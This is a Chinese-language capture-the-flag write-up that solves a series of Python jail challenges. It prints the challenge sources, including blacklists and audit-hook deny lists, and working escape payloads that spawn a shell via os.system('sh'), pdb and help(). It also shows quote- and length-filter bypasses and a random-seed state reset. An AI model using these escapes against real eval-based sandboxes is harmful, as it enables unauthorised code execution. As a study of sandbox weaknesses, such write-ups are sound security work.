但是我们知道在php命令执行中存在一种绕过方法是利用参数进行逃逸

例如:

?cmd=system($_POST[1]);&1=ls

python交互环境下也是如此

因为长度限制只针对input_data = input("> ")

所以只要我们再套一层eval语句

eval(input())

就可以再执行一次input,此时这个输入语句是不受长度限制的

从而我们可以拿到shell

image-20230608184453373


level 2.5

breakpoint()

和level2比起来多加了一次关键词过滤

def filter(s):
    BLACKLIST = ["exec","input","eval"]
    for i in BLACKLIST:
        if i in s:
            print(f'{i!r} has been banned for security reasons')
            exit(0)

这过滤一加,既不能正常命令执行也不能通过再套一层的方式逃逸

这里也是一个姿势,利用breakpoint(),能够进入到pdb模块

pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

所以进去pdb模块之后就可以正常进行命令执行了

image-20230609151752104


level 3

限制长度+help()

跟level2相比限制缩短到7,那level2.5的做法也失效了

if len(input_data)>7:
    print("Oh hacker!")
    exit(0)

这里要利用一个特殊的姿势,在python交互式终端中,可以通过help函数来进行RCE

进入交互式后,随便查询一种用法

由于太多,会使用more进行展示,造成溢出

在后面使用!命令即可造成命令执行

image-20230608190904819

image-20230608190658562


lake lake lake

全局变量泄露

题目源码

#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>9):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _       _          _       _          _       _        
 | |     | |        | |     | |        | |     | |       
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
 | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

可以看到一开始这里存在两个选项

选项1限制了长度不能超过9,这里尝试了一下发现help()函数在这里不可实现rce

所以这里得找另一个姿势进行绕过,此时我们发现选项2没有进行限制,但是需要key才能进入

而在源码中可以发现key是一个全局变量

所以我们可以在选项1中使用globals()函数读取全局变量获取到key的值

然后带上key的值进入选项2命令执行即可获取flag

image-20230609201016178


l@ke l@ke l@ke

help()+__main__返回全局变量

题目源码

#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>6):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _         _          _         _          _         _        
 | |  ____ | |        | |  ____ | |        | |  ____ | |       
 | | / __ \| | _____  | | / __ \| | _____  | | / __ \| | _____ 
 | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
 | | | (_| |   <  __/ | | | (_| |   <  __/ | | | (_| |   <  __/
 |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
     \____/               \____/               \____/                                                                                                                                                                                                                                        
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

和上一题相比,把长度限制减少到6,于是不能直接用globalslocals函数,那只剩help()函数有突破口了

实际操作时发现!sh不能进到shell里面了,应该是做了手脚,这个方法行不通了

这里我们知道在help()中输入os的话可以得到os模块的帮助

那输入__main__的话,应该就能得到当前模块的帮助,包括当前模块的信息和全局变量

image-20230708142212145

成功拿到key

此外,由于脚本文件名字是叫server.py,所以我们也可以输入模块名server来得到模块信息

拿到flag

image-20230708142656480


laKe laKe laKe

随机数

题目源码

#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__[m]


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1
    
    return game_score

WELCOME='''
  _       _  __      _       _  __      _       _  __    
 | |     | |/ /     | |     | |/ /     | |     | |/ /    
 | | __ _| ' / ___  | | __ _| ' / ___  | | __ _| ' / ___ 
 | |/ _` |  < / _ \ | |/ _` |  < / _ \ | |/ _` |  < / _ \
 | | (_| | . \  __/ | | (_| | . \  __/ | | (_| | . \  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
                                                         
'''

def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
        print('you are really super guesser!!!!')
        print(open_func('flag').read())
    else:
        print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()

审计一下,发现pty.spawnos.systemos.execos.posix_spawnos.spawnsubprocess.Popen这些直接进行RCE的函数被过滤了,compileevalexecopen函数也被过滤了,看来RCE这条路是走不通了

而直接获得flag的方法是得到正确的随机数

这里随机数的生成是使用了random.randint方法

这里需要知道的是:python的random模块使用梅森旋转法(MT19937)来生成随机数,依赖于getrandbits(32),每次产生32bit随机数,每产生624次随机数就转一转

我们先看一下random模块的所有方法

image-20230708174043250

发现里面存在getstatesetstate方法

getstate

获取一个对象的内部状态(或称为状态信息),并返回一个包含状态信息的字典对象

setstate

设置一个对象的内部状态(或称为状态信息),以便将对象状态恢复到之前保存的状态

因为随机数生成器每生成一次随机数都会更新一次状态,那我们只要让它生成随机数时在同一状态就能获取随机数了

所以整体流程为:

先拿到random模块,再random.getstate()拿到随机数生成器的状态,再通过random.setstate()置随机数生成器状态为生成随机数之前的状态,最后random.randint生成一模一样的随机数

但是这又引出两个问题:

  1. 上述过程涉及多条语句的执行,但是pyjail只提供了一行eval
  2. 如何恢复生成随机数之前的状态

多语句执行

对于第一个问题,

python 3.8还引入了海象运算符:=:在表达式左侧应用海象运算符,可以将该表达式的值赋给某个变量

另外,我们还可以用一个list来装这些表达式,这样表达式的值就会从左至右依次计算,就像我们写程序一样一行一行地执行,要输出最后的值就在末尾加上一个[-1]

对于函数的实现,我们可以借助lambda表达式来完成

恢复生成随机数之前的状态

对于第二个问题,

我们先在本地测试一下,import random并打印random.getstate,发现返回一个元组

image-20230708175446163

大致返回内容为:

(3, (..., 624), None)

…的部分是624个32位整数

很明显,这里第一个取值3和第三个取值None都是固定的

现在我们调用一次random.getrandbits(32),再查看random.getstate

可以发现内容变成了

(3, (..., 1), None)

前面省略号的值也发生了变化(转过了)

那我们直接让计数器的值为0,这样在下一次执行random.getrandbits(32)的时候值就会变成1

所以payload的大致思路是:

  1. 使用 __import__('random') 导入 random 模块,并将其赋值给变量 random

  2. 使用 random.getstate() 方法获取当前的随机数生成器状态,并将其赋值给变量 state

  3. 使用 state[1] 切片获取随机数生成器状态元组的前 624 个元素,并将其转换为列表,并将其赋值给变量 pre_state。(因为梅森旋转法伪随机数生成器的内部状态包含了 624 个整数,其中前 624 个整数用于生成下一个随机数)

  4. 使用 (3,tuple(pre_state+[0]),None) 构造一个新的状态元组,其中第一个元素是一个常数 3,第二个元素是 pre_state 列表中的 624 个整数和一个 0 组成的元组,第三个元素为 None。这个新的状态元组用于设置随机数生成器的状态

  5. 使用 random.setstate() 方法将新的状态元组设置为随机数生成器的状态

  6. 使用 random.randint(1, 9999999999999) 生成一个随机整数,并将其输出

payload:

[random:=__import__('random'), state:=random.getstate(), pre_state:=list(state[1])[:624], random.setstate((3,tuple(pre_state+[0]),None)), random.randint(1, 9999999999999)][-1]

法2:

在下一题中发现RCE部分多加了一个,所以这题应该是可以利用cpython._PySys_ClearAuditHooks获取flag的

参考文章

payload回头有时间再研究下(


lak3 lak3 lak3

#Hi hackers,lak3 comes back
#Have a good luck on it! :Wink:

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__[m]


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1
    
    return game_score

WELCOME='''
  _       _    ____    _       _    ____    _       _    ____  
 | |     | |  |___ \  | |     | |  |___ \  | |     | |  |___ \ 
 | | __ _| | __ __) | | | __ _| | __ __) | | | __ _| | __ __) |
 | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ <  | |/ _` | |/ /|__ < 
 | | (_| |   < ___) | | | (_| |   < ___) | | | (_| |   < ___) |
 |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/  |_|\__,_|_|\_\____/ 
                                                                                                                                                                       
'''

def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
        print('you are really super guesser!!!!')
        print('flag{fake_flag_in_local_but_really_in_The_remote}')
    else:
        print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()

和上题一样禁了各种RCE,但是恢复随机数的方法不依赖RCE,所以上题的payload还能用


level 4

绕过引号过滤

题目源码

#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']

eval_func = eval

for m in BANLIST:
    del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
    not_allowed = set('"\'`')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ _  _   
 | |              (_)                         (_)     (_) | | |              | | || |  
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| | || |_ 
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ |__   _|
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ |  | |  
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_|  |_|  
              __/ |                          _/ |                                      
             |___/                          |__/                                                                                                                                             
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval_func(input_data)))

禁用了 __loader__, __import__, compile, eval, exec, chr,还禁用了 '"\ 和反引号,删掉了 __loader____builtins__

先用dir()看看有啥东西

> dir()
Answer: ['BANLIST', 'WELCOME', '__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__name__', '__package__', '__spec__', 'eval_func', 'filter', 'input_data', 'm']

发现 __builtins__ 还在,那看看里面有啥

> __builtins__
Answer: {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2022 Python Software Foundation.
All Rights Reserved.

发现里面存在open函数,因为题目源码已经告诉我们flag的路径,那我们直接用open('flag').read()读取文件即可,但是需要用到引号

所以接下来就是要想办法获取引号

bytes的ASCII list初始化方式

我们可以使用 Python 中的 bytes 对象来表示一个字节序列,其中每个字节都是一个介于0和255之间的整数

例:

print(bytes([72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100]))

结果是b'Hello World'

而要想把字符串中的每个字符转换为ascii值,则需要运行以下脚本

s = "flag"
print([ord(c) for c in s])

结果是[102, 108, 97, 103]

则最终的payload:

open(bytes([102, 108, 97, 103]).decode()).read()

level 4.0.5

没给题目源码

先nc上题目看看

题目告诉我们和上题相比还多ban了input,locals,globals

先尝试拿着上题的paylaod打进去看看

emm成功了


level 4.1

__doc__魔术方法获取字符+getshell

没给题目源码

题目告诉我们比上题多ban了个bytes,那么这里还有一种方法能够获取字符

__doc__魔术方法获取字符

用索引的方式得到想要的字符,并拼接在一起,得到我们想要的字符串

().__doc__为例,它的帮助文档为:

Built-in immutable sequence.\n\nIf no argument is given, the constructor returns an empty tuple.\nIf iterable is specified the tuple is initialized from iterable's items.\n\nIf the argument is a tuple, the return value is the same object.

所以我们只要在本地先找到对应的偏移量:

().__doc__.find('f')

image-20230710174614003

然后继续使用open函数读取文件,在payload中将其拼接即可

open(().__doc__[31]+().__doc__[3]+().__doc__[14]+().__doc__[38]).read()

然后发现flag好像不叫flag了。。。

那只能换个办法,直接getshell

SSTI getshell

Show subclasses with tuple,找到type类中的内部子类<class 'os._wrap_close'>,它的全局变量和函数中存在system

对于这题,我们先查找<class 'os._wrap_close'>的位置

().__class__.__base__.__subclasses__()

image-20230710181145995

可以看到在倒数第四个

于是基础的payload形式为:(注:__globals__globals不一样)

().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

接下来就是利用__doc__构造['system']('sh')

image-20230710181406070

最终payload:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])

image-20230710181548857

其实这里也可以利用Show subclasses with tuple找到bytes类来构造拼接,在上面那张图可以看到bytes类的索引是6


level 4.2

字符串拼接过滤+的绕过 or 直接找到bytes类来构造拼接

没给源码

题目信息告诉我们和上题相比多ban了个+

上面刚提到的利用Show subclasses with tuple找到bytes类来构造拼接,拼接符是.

所以可以构造对应的payload:(这题<class 'os._wrap_close'>的索引和bytes类的索引都没变)

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

成功getshell

image-20230710183006192

法2:join拼接

基础形式:

''.join(['4', '3', '9', '6'])

要绕过一开始的'',这里直接用str()就行

payload:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([().__doc__[19],().__doc__[86],().__doc__[19],().__doc__[4],().__doc__[17],().__doc__[10]])](str().join([().__doc__[19],().__doc__[56]]))

level 4.3

没给源码

题目信息告诉我们这题多ban了opentype,也就是说上题的预期或许会用到这两个函数(?

不影响上题的payload一把梭

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())

image-20230710183550748


level 5

没给源码

题目信息告诉我们flag好像在dir()

那我们就看看

> dir()
['__builtins__', 'my_flag']

有一个my_flag方法

查看这个方法

> dir(my_flag)
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'flag_level5']

有一个flag_level5

尝试直接查看my_flag.flag_level5,返回DELETED,看来有做保护

继续跟进my_flag.flag_level5看看

> dir(my_flag.flag_level5)
['__add__', '__class__', '__contains__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__len__', '__lt__', '__mod__', '__module__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'capitalize', 'casefold', 'center', 'count', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'format_map', 'index', 'isalnum', 'isalpha', 'isascii', 'isdecimal', 'isdigit', 'isidentifier', 'islower', 'isnumeric', 'isprintable', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'maketrans', 'partition', 'removeprefix', 'removesuffix', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

发现里面有个encode函数,尝试调用

my_flag.flag_level5.encode()

成功返回flag

image-20230710185454479

法2:一句话RCE一把梭

__import__('os').system('sh')

level 5.1

没给源码

看题目描述是上一题的修复版,增加了RCE的难度

预期payload:

my_flag.flag_level5.encode()

法2:SSTI getshell

和level 4.1一样,不过<class 'os._wrap_close'>的索引在倒数第六个

().__class__.__base__.__subclasses__()[-6].__init__.__globals__['system']('sh')